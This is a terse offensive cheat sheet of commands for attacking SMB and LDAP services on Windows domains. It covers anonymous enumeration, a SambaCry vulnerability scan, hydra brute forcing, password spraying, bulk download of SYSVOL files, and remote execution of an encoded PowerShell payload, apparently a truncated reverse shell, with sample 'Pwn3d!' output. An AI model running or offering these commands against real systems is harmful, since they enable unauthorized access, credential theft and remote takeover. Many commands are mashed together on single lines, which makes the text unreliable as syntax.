tip - use command recurse before ls or dir
nxc smb 192.168.101.100 -u '' -p '' --sharesnxc smb 192.168.101.100 -u '' -p '' --usersnxc ldap 10.10.10.10 -u '' -p '' -M get-desc-usersnxc ldap 10.10.10.10 -u '' -p '' --password-not-required --admin-count --users --groupsnmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 $IP -Pn(SambaCry and EternalBlue)
To probe NetBIOS info:
nbtscan -v $IP
-The hex codes reference different services. You can look up what they mean, but 20 means File Sharing services.
- http://www.pyeung.com/pages/microsoft/winnt/netbioscodes.html
smbclient
To list what resources are being shared on a system:
smbclient -L $IP -N- with no creds
smbclient -L $IP -U $usersmbclient //$IP/$shareName -U $user%$passwordsmbclient //$IP/$shareName -U $user --pw-nt-hash $NTLMHashsmbclient //$IP/$shareName --directory path/to/directory --command "get file.txt"- to download file
smbclient //$IP/$shareName --directory path/to/directory --command "put file.txt"- to upload file
Format
Linux: smbclient //server/share
Windows: smbclient //server/share or smbclient \\\\server\\share
To display share information on a system:
nmblookup -A $IP
Enum4linux is a great tool to gather information through SMB (note, it tests anonymous login only by default):
enum4linux -a $IP- try also ?:
enum4linux-ng -a $IP
Brute force using hydra:
hydra -l $User -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt smb://$IP/ -V -I
smbmap
smbmap -u $user -p $password -d INLANEFREIGHT.LOCAL -H $IP -R '$directory' --dir-only
- use without --dir-only to show all files
to get all files from an smb share
smbclient \\\\$IP\\SYSVOL -U "domain.offsec\$username"recurse onprompt offmget *exitfind . -type f- This lists all the files you have downloaded into the directory you downloaded them into
Command Execution with NXC:
nxc smb 10.10.10.10 -u Username -p Password -X 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AY...AKAApAA=='netexec smb 10.10.10.10 -u Username -p Password -X 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AY...AKAApAA==' SMB 10.10.10.10 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:EXAMPLE.com) (signing:True) (SMBv1:False) SMB 10.10.10.10 445 DC [+] EXAMPLE.com\Username:Password (Pwn3d!) SMB 10.10.10.10 445 DC [-] WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method
Password Spraying
nxc smb $IP -u users.txt -p 'password' -d domain.com --continue-on-success